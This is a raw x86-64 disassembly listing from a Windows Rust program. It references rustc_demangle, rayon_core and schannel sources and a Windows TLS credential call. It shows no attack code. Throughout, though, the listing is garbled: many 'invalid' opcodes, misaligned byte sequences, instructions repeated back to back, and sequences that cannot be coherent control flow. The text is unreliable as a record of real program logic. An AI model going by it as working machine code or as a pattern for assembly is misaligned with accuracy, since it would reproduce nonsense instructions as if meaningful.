add byte [rax], al
add byte [rsi + 0xf], ah
invalid
movzx edx, byte [r8 + r10]
cmp dl, 0x5f
je 0x14016fc9b
lea esi, [rdx - 0x30]
cmp sil, 0xa
jb 0x14016fc7f
lea esi, [rdx - 0x61]
cmp sil, 0x1a
jae 0x14016fc71
invalid
add eax, 0xeba9c280
or al, 0x8d
jb 0x14016fc33
add dl, 0xa9
jmp 0x14016fc7d
lea esi, [rdx - 0x41]
cmp sil, 0x1a
jae 0x14016fcab
add dl, 0xe3
ret 0x89e3
mov esi, edx
inc r10
mov qword [rcx + 0x10], r10
mul r11
jo 0x14016fcab
movzx edx, sil
add rax, rdx
jb 0x14016fcab
cmp r10, r9
jb 0x14016fc50
jmp 0x14016fcab
inc r10
mov qword [rcx + 0x10], r10
inc rax
jne 0x14016fc11
mov rax, qword [rcx + 0x20]
test rax, rax
je 0x14016fcd7
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
lea edx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
mov rsi, rcx
mov rcx, rax
mov ecx, eax
mov ecx, eax
call fcn.140025500
mov rcx, rsi
mov edx, eax
mov al, 1
test dl, dl
jne 0x14016fce4
mov qword [rcx], 0
add byte [rax], al
add byte [rax], al
mov byte [rcx + 8], 0
xor eax, eax
add rsp, 0x28
pop rsi
invalid
pop rbp
ret
in al, dx
cmp byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x30
add byte [rbx + rcx*4 + 0x56], cl
or byte [rax - 0x75], cl
adc byte [rcx + r15 - 0x2f], r9b
add byte [rax], al
add byte [rax - 0x39], cl
invalid
add byte [rdi + rcx - 0x4a], al
fiadd dword [rcx - 0x7d]
invalid
invalid
ret
cmp al, 1
add byte [rax], al
lea edi, [0x14028ca24]
cmp eax, 0x11cc95
and byte [rax - 0x7b], cl
leave
add dword [rax], eax
add byte [rax], al
mov bh, 1
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x75], cl
push rbp
add al, ch
invalid
add byte [rax], al
add dword [rdi], ecx
test dword [rcx + 0x48000000], ebx
cmp edx, 1
add byte [rax - 0x7b], cl
ror byte [rdi], cl
test dword [rsi + 0x48000000], eax
mov ecx, dword [rsi + 0x20]
add eax, 0xe9000000
cmpsb byte [rsi], byte [rdi]
add al, 0
add byte [rax - 0x75], cl
mov rcx, qword [rsi + 0x20]
invalid
invalid
leave
ror byte [rdi], 0x84
add qword [r8], r8
add byte [rcx], dh
fucomi st(1)
stosd dword [rdi], eax
add al, byte [rax]
add byte [rax - 0x73], cl
lea rcx, [rbp - 8]
add byte [rbp - 0x7b], cl
div byte [rbx + rcx + 0x42]
cmp byte [rcx + rsi], 0xbf
jle 0x140170dc8
test r12b, 1
jne 0x140170cb0
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rax + 1], cl
retf
add rbx, rcx
add r14, rcx
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], rbx
pop rbp
fmul dword [rax - 0x39]
loopne case.0x140148f55.699
add byte [rax], al
add byte [rax - 0x39], cl
call 0x140170c1e
add al, byte [rax]
add byte [rax], al
pop rbp
fmul dword [rax - 0x39]
loopne case.0x140148f55.699
add byte [rax], al
add byte [rax - 0x39], cl
call 0x140170c1e
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
lea rsi, [rbp - 0x38]
enter 0xffffffffffff8948, 0xfffffffffffffff1
mov rcx, rsi
call fcn.140171200
add byte [rax], al
cmp eax, 0x110000
add byte [rax], al
adc dword [rax], eax
jb 0x140170c20
cmp eax, 0x110001
add dword [rax], eax
adc dword [rax], eax
jne 0x140170cb0
mov r15, qword [rdi + 0x20]
mov edi, dword [rdi + 0x20]
test r15, r15
je 0x140170d08
test ch, al
add byte [rax], al
invalid
test ch, al
add byte [rax], al
add byte [rcx - 0x75], cl
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
mov edx, 0x22
and byte [r9 - 0x75], r9b
sub byte [r10 + 0x22], r15b
call qword [rax + 0x20]
mov sil, 1
test al, al
jne 0x140170d0a
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 2
lea rcx, [rbp - 0x38]
call fcn.140171200
cmp eax, 0x110001
jne 0x140170d1b
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
mov rax, qword [rax + 0x20]
mov edx, 0x22
add rsp, 0x60
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
jmp rax
mov rcx, qword [rdi + 0x20]
test rcx, rcx
je 0x140170cd2
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.140025500
mov sil, 1
test al, al
jne 0x140170d0a
mov qword [rdi], 0
mov byte [rdi + 8], 0
jmp 0x140170d08
xor esi, esi
mov eax, esi
add rsp, 0x60
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
lea rdi, [rbp - 0x38]
lea rbx, [rbp - 0x10]
cmp eax, 0x110000
je 0x140170ddf
cmp eax, 0x27
jne 0x140170d5b
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
mov edx, 0x27
call qword [rax + 0x20]
test al, al
jne 0x140170d0a
mov rcx, rdi
call fcn.140171200
cmp eax, 0x110001
jne 0x140170d23
jmp 0x140170c8e
mov rcx, rbx
mov edx, eax
call fcn.140171680
movzx r14d, byte [rbp - 0x10]
jmp 0x140170d94
mov edx, dword [rbp - 0xc]
mov dword [rbp - 8], 0
mov qword [rbp - 0x10], 0
xor r14d, r14d
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
call qword [rax + 0x20]
test al, al
jne 0x140170d0a
cmp r14b, 0x80
je 0x140170d6c
movzx eax, byte [rbp - 6]
cmp al, byte [rbp - 5]
jae 0x140170d47
movzx ecx, al
lea edx, [rax + 1]
mov byte [rbp - 6], dl
cmp al, 0xa
jae 0x140170db7
movzx edx, byte [rbp + rcx - 0x10]
jmp 0x140170d81
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_srcescape.rs
mov edx, 0xa
call fcn.1401c6eb0
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
mov r8, r14
mov r9, rbx
call fcn.1401c73e0
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_srcops_function.rs_b
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14025c5b0]
lea r8, [rbp - 0x10]
mov edx, 0x2b
call fcn.1401c7200
int3
ror byte [rax - 0x77], 0x46
adc bl, ch
sub eax, 0x74c98548
invalid
mov r8d, 0x10
call fcn.140025500
test al, al
je 0x1401711d9
mov r13d, 1
jmp 0x1401711e6
mov qword [rsi], 0
mov byte [rsi + 8], bl
pop rsi
invalid
pop rsi
or byte [rbp + 0x31], al
in eax, dx
xor r13d, r13d
mov rax, r13
add rsp, 0x68
call 0x1a8db9535
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
mov eax, 0x110001
sub rdx, r8
jb 0x1401715d1
mov rax, qword [rcx]
lea r9, [rax + r8]
or al, 0
or al, 0
mov qword [rcx], r9
mov qword [rcx + 8], rdx
cmp r8, 2
jne 0x1401715e9
movzx r10d, byte [rax]
movzx r8d, byte [rax + 1]
lea eax, [r10 - 0x30]
rol byte [rbx + 0x1e720af8], 1
rol byte [rbx + 0x1e720af8], 1
or r10d, 0x20
or edx, 0x20
add r10d, 0xffffff9f
add r10d, 0xa
mov eax, 0xffffffff
invalid
inc dword [rcx + 0xf]
ret 0xf883
clc
adc byte [rdi], cl
sub dword [rbx + rax], 0
invalid
clc
adc byte [rdi], cl
sub dword [rbx + rax], 0
lea r10d, [r8 - 0x30]
cmp r10d, 0xa
jb case.0x14014c49a.258
or r8d, 0x20
add r8d, 0xffffff9f
add r8d, 0xa
mov r10d, 0xffffffff
cmovae r10d, r8d
cmp r10d, 0x10
jae 0x1401715dd
shl al, 4
or r10b, al
js 0x1401712e8
mov byte [rbp + 0x34], r10b
mov word [rbp + 0x35], 0
add byte [rax], al
add byte [rax], al
mov byte [rbp + 0x37], 0
lea rax, [rbp + 0x34]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], 1
sub byte [r9], r8b
add byte [rax], al
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
lea rsi, [rbp - 0x18]
lea rdx, [rbp + 0x34]
push rbp
xor al, 0x48
mov ecx, esi
push rbp
xor al, 0x48
mov ecx, esi
call fcn.1400297e0
cmp qword [rbp - 0x18], 0
invalid
je 0x140171307
invalid
test ebx, ebp
dec dword [rax - 0x7d]
jge 0x1401712c3
add byte [rcx + rbp - 0x48], dh
add byte [rax], al
adc dword [rax], eax
invalid
sub dword [rax + 0x110000], edi
mov eax, 0x110000
add cl, ch
jmp 0x1401715d1
jmp 0xf81712eb
add byte [rax + 0x110000], bh
mov eax, 0x110000
add byte [rax], al
adc dword [rax], eax
cmp r10b, 0xc0
jb 0x1401715d1
invalid
fiadd dword [rdx]
add al, byte [rax]
invalid
invalid
cmp r10b, 0xe0
jae 0x140171341
cli
loopne 0x14017136f
mov r8d, 2
mov r8d, 2
xor eax, eax
jmp 0x140171353
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x20], rax
lea rdx, [rcx + rax]
adc al, 1
test rax, rax
je 0x140171334
movzx eax, byte [rcx]
test al, al
js 0x1401714da
scasd eax, dword [rdi]
add dword [rax], eax
add byte [rbp + rcx*4 + 0x41], cl
lea r8, [rcx + 1]
jmp 0x140171554
add ecx, ebp
and byte [rdx], al
add byte [rax], al
mov eax, 0x110000
add byte [rax], al
adc dword [rax], eax
mov r8, rcx
jmp 0x140171554
cmp r10b, 0xf0
jae 0x140171521
mov r8d, 3
mov al, 1
mov byte [rbp + 0x34], r10b
mov word [rbp + 0x35], 0
mov byte [rbp + 0x37], 0
lea r11, [rbp + 0x34]
mov qword [rbp + 0x20], r11
mov qword [rbp + 0x28], r8
cmp rdx, 2
jb 0x1401712de
cli
add cl, byte [rdi]
invalid
lea rsi, [r9 + 2]
lea r11, [rdx - 2]
mov qword [rcx], rsi
mov qword [rcx + 8], r11
movzx ebx, byte [r9]
movzx edi, byte [r9 + 1]
lea esi, [rbx - 0x30]
cmp esi, 0xa
jb 0x1401713b1
or ebx, 0x20
add ebx, 0xffffff9f
add ebx, 0xa
mov esi, 0xffffffff
cmovae esi, ebx
cmp esi, 0xf
ja 0x1401715dd
lea ebx, [rdi - 0x30]
cmp ebx, 0xa
jb 0x1401713d3
or edi, 0x20
add edi, 0xffffff9f
add edi, 0xa
mov ebx, 0xffffffff
cmovae ebx, edi
cmp ebx, 0xf
ja 0x1401715dd
shl sil, 4
or bl, sil
mov byte [rbp + 0x35], bl
cmp r10b, 0xe0
jb 0x1401712c7
cmp r11, 2
jb 0x1401712de
lea r11, [r9 + 4]
lea r10, [rdx - 4]
mov qword [rcx], r11
mov qword [rcx + 8], r10
movzx edi, byte [r9 + 2]
movzx esi, byte [r9 + 3]
lea r11d, [rdi - 0x30]
cmp r11d, 0xa
jb 0x140171431
or edi, 0x20
add edi, 0xffffff9f
add edi, 0xa
mov r11d, 0xffffffff
cmovae r11d, edi
cmp r11d, 0xf
ja 0x1401715dd
lea edi, [rsi - 0x30]
cmp edi, 0xa
jb 0x140171453
or esi, 0x20
add esi, 0xffffff9f
lahf
lahf
add esi, 0xa
mov edi, 0xffffffff
cmovae edi, esi
cmp edi, 0xf
ja 0x1401715dd
shl r11b, 4
or dil, r11b
mov byte [rbp + 0x36], dil
test al, al
test al, al
jne 0x1401712c7
invalid
cmp r10, 2
jb 0x1401712de
invalid
outsb dx, byte [rsi]
invalid
invalid
invalid
invalid
lea rax, [r9 + 6]
add rdx, 0xfffffffffffffffa
mov qword [rcx], rax
mov dword [rcx], eax
invalid
mov dword [rcx], eax
mov qword [rcx + 8], rdx
movzx edx, byte [r9 + 4]
movzx ecx, byte [r9 + 5]
lea eax, [rdx - 0x30]
cmp eax, 0xa
jb 0x1401714ab
or edx, 0x20
add edx, 0xffffff9f
add edx, 0xa
mov eax, 0xffffffff
cmovae eax, edx
cmp eax, 0xf
ja 0x1401715dd
lea edx, [rcx - 0x30]
cmp edx, 0xa
jb 0x1401714cd
or ecx, 0x20
add ecx, 0xffffff9f
add ecx, 0xa
mov edx, 0xffffffff
cmovae edx, ecx
cmp edx, 0xf
ja 0x1401715dd
add byte [rax], al
add byte [rax], al
shl al, 4
or dl, al
mov byte [rbp + 0x37], dl
jmp 0x1401712c7
mov r9d, eax
mov ecx, eax
and r9d, 0x1f
and ecx, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
cmp al, 0xdf
jbe 0x140171536
movzx r10d, byte [rcx + 2]
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
fidivr dword [rax + rsi*8]
fidivr dword [rax + rsi*8]
jb 0x140171546
lea r8, [rcx + 4]
movzx eax, byte [rcx + 3]
and r9d, 7
and ecx, 7
add al, 0xf
mov dh, 0x41
add eax, dword [rcx - 0x7d]
and ecx, 7
and ecx, 7
invalid
shl r9d, 0x12
shl r10d, 6
loop 0x14017151c
invalid
and eax, 0x3f
or eax, r10d
rol byte [rcx + rcx - 0x38], 1
or eax, r9d
jmp 0x140171554
cmp r10b, 0xf8
cmp dl, 0xf8
jae 0x1401715d1
add byte [rax], al
mov r8d, 4
jmp 0x140171303
lea r8, [rcx + 2]
shl r9d, 6
or r9d, r11d
mov eax, r9d
jmp 0x140171554
lea r8, [rcx + 3]
shl r9d, 0xc
or r10d, r9d
mov eax, r10d
cmp r8, rdx
je 0x1401715c2
movzx r9d, byte [r8]
test r9b, r9b
jns 0x140171601
cmp r9b, 0xe0
jb 0x140171601
cmp r9b, 0xf0
jb 0x140171601
movzx r10d, byte [r8 + 1]
and r10d, 0x3f
movzx r11d, byte [r8 + 2]
and r11d, 0x3f
movzx r8d, byte [r8 + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 0xc
shl r11d, 6
or r11d, r10d
and r8d, 0x3f
or r8d, r11d
or r8d, r9d
cmp r8d, 0x110000
sete r8b
cmp eax, 0x110000
jne 0x1401715cc
jmp 0x140171601
mov r8b, 1
cmp eax, 0x110000
je 0x140171601
test r8b, r8b
je 0x140171601
add rsp, 0xb8
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rcx, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
call fcn.1401c7290
lea rcx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
lea r8, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov edx, 0x28
call fcn.1401c6f30
call fcn.140171760
mov qword [rbp + 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea rax, [0x140171850]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x28]
mov qword [rbp - 8], rax
lea rax, [0x14018ddf0]
mov qword [rbp], rax
lea rax, [rbp + 0x18]
mov qword [rbp + 8], rax
lea rax, [fcn.140024bb0]
mov qword [rbp + 0x10], rax
lea rax, str.internal_error:_entered_unreachable_code:_str::from_utf8_____was_expected_to_have_1_char__but__chars_were_found
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], 4
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], 3
lea rdx, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
lea rcx, [rbp - 0x58]
call fcn.1401c6e60
int3
and byte [rdi + 0x5e], bl
pop rbp
ret
invalid
add esp, 0x20
pop rdi
pop rsi
pop rbp
ret
push rsi
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rsi, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
je 0x140175258
js 0x1401752a7
mov r15d, 1
add byte [rax], al
mov ecx, 1
mov rdx, rsi
call fcn.1400710b6
mov rbx, rax
mov r12, rsi
test rax, rax
jne 0x140175260
jmp 0x1401752aa
mov ebx, 1
xor r12d, r12d
add byte [rax], al
add byte [rbp + 0x31], al
in al, 0x48
mov ecx, ebx
mov rcx, rbx
mov rdx, r14
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rdi + 0x30]
movabs rax, 0x8000000000000000
cmp rcx, rax
je 0x14017528a
mov rdx, qword [rdi + 0x38]
call fcn.1400373d1
push rdi
cmp al, ch
and r12d, r13d
dec dword [rcx + rcx*4 + 0x67]
xor byte [rax - 0x77], cl
pop rdi
cmp byte [rax - 0x77], cl
ja 0x1401752d6
mov qword [rdi + 0x30], r12
mov qword [rdi + 0x38], rbx
mov qword [rdi + 0x40], rsi
mov rax, rdi
add rsp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop rsp
invalid
pop rsp
pop r14
pop r15
ret
xor r15d, r15d
mov rcx, r15
mov rdx, rsi
call fcn.1401c66e0
int3
sub rsp, 0x30
lea rbp, [rsp + 0x30]
insb byte [rdi], dx
and al, 0x30
insb byte [rdi], dx
and al, 0x30
mov qword [rbp - 8], 0xfffffffffffffffe
mov qword [rbp - 0x10], rdx
mov rsi, rcx
mov rdi, qword [rcx + 0x10]
cmp rdi, qword [rcx]
invalid
cmp edi, dword [rcx]
cmp dword [rbp + 8], esi
jne 0x1401752e2
mov rcx, rsi
call fcn.14005ff4f
lodsb al, byte [rsi]
out dx, al
invalid
lodsb al, byte [rsi]
out dx, al
dec dword [rax - 0x75]
or byte [rax - 0x75], r9b
invalid
mov rax, qword [rsi + 8]
mov rcx, qword [rbp - 0x10]
mov qword [rax + rdi*8], rcx
inc rdi
mov qword [rsi + 0x10], rdi
mov rax, rsi
invalid
add rsp, 0x30
pop rdi
invalid
pop rsi
pop rbp
ret
adc eax, 0x57f4e
nop
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
xorps xmm0, xmm0
movaps xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp], xmm0
mov dword [rbp - 0x10], 4
invalid
invalid
add al, 0
add byte [rax], al
mov dword [rbp + 0x38], 0x400010
movabs rax, 0x8000000000000000
cmp qword [rcx + 0x18], rax
cmp dword [rcx + 0x18], eax
invalid
cmp dword [rcx + 0x18], eax
je 0x140175383
mov edx, dword [rcx + 0x28]
mov dword [rbp + 0x18], edx
mov rdx, qword [rcx + 0x20]
mov qword [rbp + 0x20], rdx
cmp qword [rcx + 0x30], rax
je 0x1401753ba
mov rax, qword [rcx + 0x40]
test rax, rax
je 0x1401753b5
mov r8, qword [rcx + 0x38]
xor edx, edx
lea r9, [0x14028aea0]
xor r10d, r10d
xor edx, edx
movzx r11d, byte [r8 + r10]
or edx, dword [r9 + r11*4]
inc r10
ret 0x394c
sal byte [rbp - 0x11], 1
out dx, eax
out dx, eax
jmp 0x1401753b7
xor edx, edx
mov dword [rbp + 0x28], edx
mov r14, qword [rcx + 0x10]
test r14, r14
je 0x14017540e
lea rsi, [r14*8]
mov rax, r14
add byte [rcx + rcx*4 - 0x10], cl
shr rax, 0x3c
jne 0x1401754c0
invalid
call 0x1289c6311
add byte [rax], al
add byte [rax - 0x75], cl
pop rcx
or byte [rdx + 8], ch
mov rbx, qword [rcx + 8]
push 8
pop rdi
mov rcx, rdi
mov rdx, rsi
call fcn.1400710b6
out dx, eax
dec dword [rax - 0x7b]
ror byte [rdi], 0x84
iretd
add byte [rax], al
invalid
out dx, eax
dec dword [rax - 0x7b]
ror byte [rdi], 0x84
iretd
xor edx, edx
mov rcx, qword [rbx + rdx*8]
mov qword [rax + rdx*8], rcx
inc rdx
cmp r14, rdx
jne 0x1401753f5
mov qword [rbp + 0x60], r14
mov edx, r14d
jmp 0x140175419
xor eax, eax
mov qword [rbp + 0x60], rax
push 8
pop rax
xor edx, edx
lea rcx, [rbp - 0x10]
mov dword [rcx + 4], edx
mov qword [rbp + 0x58], rax
mov qword [rcx + 8], rax
or byte [r8 - 0x73], cl
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x38], rax
and al, 0x38
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
and qword [rsp + 0x40], 0
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
and byte [rax - 0x73], cl
adc eax, 0xe7b40
and byte [rax - 0x73], cl
adc eax, 0xe7b40
push 2
pop r8
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.secur32.dll_AcquireCredentialsHandleA]
mov esi, eax
test eax, eax
je case.0x1400089d2.1586
shl rsi, 0x20
shl esi, 0x20
or rsi, 2
push 1
add dword [rdi - 0x15], ebx
invalid
movaps xmm0, xmmword [rbp + 0x40]
push 1
pop rax
lea rcx, [rbp - 0x20]
mov qword [rcx - 0x10], rax
mov dword [rcx - 0x10], eax
mov dword [rcx - 0x10], eax
mov qword [rcx - 8], rax
movups xmmword [rcx], xmm0
push 0x20
pop rcx
call fcn.140071088
mov rsi, rax
movups xmm0, xmmword [rbp - 0x30]
movups xmm1, xmmword [rbp - 0x20]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
xor edi, edi
mov rcx, qword [rbp + 0x60]
mov rdx, qword [rbp + 0x58]
call fcn.140174a51
movsd dword [rdi], dword [rsi]
cmc
invalid
dec dword [rax - 0x77]
clc
mov rdx, rsi
add rsp, 0xf0
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
xor edi, edi
mov rcx, rdi
mov rdx, rsi
mov edx, esi
call fcn.1401c66e0
int3
add byte [rdi], cl
adc byte [rbp - 0x40], al
movups xmm1, xmmword [rbp - 0x30]
adc byte [rbp - 0x30], cl
adc byte [rbp - 0x30], cl
movaps xmmword [rdi + 0x10], xmm1
movaps xmmword [rdi], xmm0
push 1
pop r12
lea r14, [rbp - 0x58]
mov rcx, rdi
call fcn.140174780
int1
invalid
jmp qword [rsi - 0x7d]
cmp eax, 1
int1
invalid
cmp eax, 1
jne 0x140175634
mov r15d, edx
cmp r12, qword [rbp + 8]
jne 0x140175626
mov rcx, r14
mov rdx, rdi
call fcn.140137ea3
mov rdx, qword [rbp - 0x58]
inc rdx
cmove rdx, r13
mov rcx, rbx
call fcn.140174871
mov rsi, qword [rbp + 0x10]
mov word [rsi + r12*2], r15w
inc r12
mov qword [rbp + 0x18], r12
jmp case.0x140148ed1.741
mov rdi, qword [rbp + 8]
mov r14, qword [rbp]
jmp 0x140175646
mov rcx, qword [r14 + 0x10]
movabs rax, 0x8000000000000000
cmp rcx, rax
invalid
je 0x140175662
mov rdx, qword [r14 + 0x18]
call fcn.140005158
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], rsi
mov qword [r14 + 0x20], r12
and byte [rcx + rcx*4 - 0x10], cl
add rsp, 0xa8
test al, 0
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, rcx
mov rcx, rdx
mov rdx, rax
jmp fcn.140001b50
dec byte [rbp + rcx*4 + 0x7d]
loopne 0x140175800
mov esi, dword [rdi + 0x10]
mov qword [r15], rcx
mov qword [r15 + 8], r14
xor ebx, ebx
mov qword [rbp - 0x10], rbx
cmp rdi, rsi
je 0x14017583a
mov r12, qword [rdi + 0x10]
cmp rbx, qword [rbp - 0x20]
cmp ebx, dword [rbp - 0x20]
jne 0x1401757de
mov rcx, r15
call fcn.140174dd1
div ebp
invalid
dec dword [rbx + rcx*4 + 0x75]
invalid
div ebp
invalid
mov byte [r14 + rbx], r12b
inc rbx
mov qword [rbp - 0x10], rbx
mov r13, qword [rdi + 8]
outsd dx, dword [rsi]
or byte [rax - 0x75], cl
mov eax, dword [rbp - 0x20]
mov eax, dword [rbp - 0x20]
sub rax, rbx
cmp rax, r12
jae 0x14017581e
mov rcx, r15
mov rdx, rbx
mov edx, ebx
mov r8, r12
mov eax, esp
call fcn.140174ba4
movabs rcx, 0x8000000000000001
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 0xc8
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 0xc8
jne 0x1401758c6
add byte [rax - 0x75], cl
pop rbp
invalid
mov rbx, qword [rbp - 0x10]
add rdi, 0x18
mov r14, qword [rbp - 0x18]
lea rcx, [r14 + rbx]
or al, 0x1e
mov rdx, r13
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
or eax, 0x14c0005
jrcxz 0x140175824
invalid
lea rdi, [rbx + 0xa]
movabs rax, 0x7ffffffffffffffd
invalid
invalid
invalid
invalid
invalid
jg 0x140175891
cmp edi, eax
jae 0x1401758d9
push 4
pop rcx
mov rdx, rdi
call fcn.1400710da
out dx, eax
dec dword [rax - 0x7b]
ror byte [rdi], 0x84
pushfq
add byte [rax], al
invalid
out dx, eax
dec dword [rax - 0x7b]
ror byte [rdi], 0x84
pushfq
add byte [rax], al
add byte [rcx - 0x77], cl
invalid
mov r15, rax
lea eax, [rbx + 6]
mov dword [r15], eax
mov dword [r15 + 4], 2
mov dword [rdi + 4], 2
add al, 2
add byte [rax], al
add byte [rsi + 0x41], ah
mov dword [rdi + 8], ebx
add al, 2
add byte [rax], al
add byte [rsi + 0x41], ah
mov dword [rdi + 8], ebx
cmp rbx, 0xfffffffffffffff6
jae 0x14017590e
mov rcx, r15
add rcx, 0xa
mov rdx, r14
mov edx, esi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add byte [rax - 0x75], cl
fmul dword [r8 - 0x39]
add byte [rax + rax], al
add byte [rax], al
add byte [rax - 0x75], cl
fmul dword [r8 - 0x39]
add byte [rax + rax], al
add byte [rax], al
mov qword [rax + 8], rdi
mov qword [rax + 0x10], r15
adc byte [rax - 0x75], cl
loopne case.0x14014975d.332
loopne case.0x14014975d.332
mov edx, esi
adc byte [rax - 0x75], cl
loopne case.0x14014975d.332
loopne case.0x14014975d.332
mov edx, esi
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
jmp fcn.1400373d1
or ebx, dword [rbx]
in al, dx
invalid
or ebx, dword [rbx]
in al, dx
dec dword [rax - 0x77]
shr eax, 0x12
invalid
mov rcx, rax
call fcn.1401c66e0
invalid
invalid
add bl, ch
push rax
add bl, ch
push rax
mov rdx, qword [rbp - 0x10]
push rbp
invalid
call fcn.1401c66e0
push rbp
invalid
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_alpn_list.rs
lea eax, [0x14025d020]
ja 0x1401758ed
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
adc dword [rax], eax
lea r9, fcn.140009390
lea ecx, [0x14025cf60]
push 0x2b
pop rdx
lea r8, [rbp - 1]
invalid
invalid
call fcn.1401c7200
add dword [rcx], ebx
invalid
add bl, ch
invalid
invalid
add dword [rcx], ebx
add eax, 0x6a1feb00
add al, 0x59
push 4
pop rcx
mov rdx, rdi
call fcn.1401c6700
hlt
or eax, 0x12eb0005
hlt
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_alpn_list.rs
add eax, 0xe7723
push 0xa
pop rcx
mov rdx, rdi
or bl, byte [rcx + 0x48]
mov edx, edi
call fcn.1401c6ea0
ud2
adc byte [rbp + 0x41], dl
push rdi
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
sub byte [rax - 0x73], cl
push 0x50
push 0x50
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
call fcn.1400373d1
mov dword [rdx], ebx
in al, dx
call qword [rax + 0x28c48348]
mov dword [rdx], ebx
in al, dx
call qword [rax + 0x28c48348]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xe7613
mov rax, qword [rax + 0x18]
lea rdx, str.LayoutErrorMicrosoft_Unified_Security_Protocol_Provider
mov r8d, 0xb
jmp rax
add eax, 0x57415500
add byte [rbp + 0x41], dl
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x128
in al, dx
sub byte [rcx], al
add byte [rax], al
in al, dx
sub byte [rcx], al
add byte [rax], al
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x90], xmm6
nop
add byte [rax], al
invalid
add byte [rax], 0
add byte [rdi], cl
sub dword [rbp + 0x90], esi
nop
add byte [rax], al
invalid
nop
add byte [rax], al
add byte [rax - 0x39], cl
invalid
test dword [rax - 0x2000000], ecx
add byte [rax], al
add dh, bh
invalid
mov qword [rbp + 0x88], 0xfffffffffffffffe
mov dword [rbp + 0x88], 0xfffffffe
dec dword [rbp - 0x77]
invalid
mov r14, r8
mov esi, eax
mov r15, rdx
mov rsi, rcx
xorps xmm6, xmm6
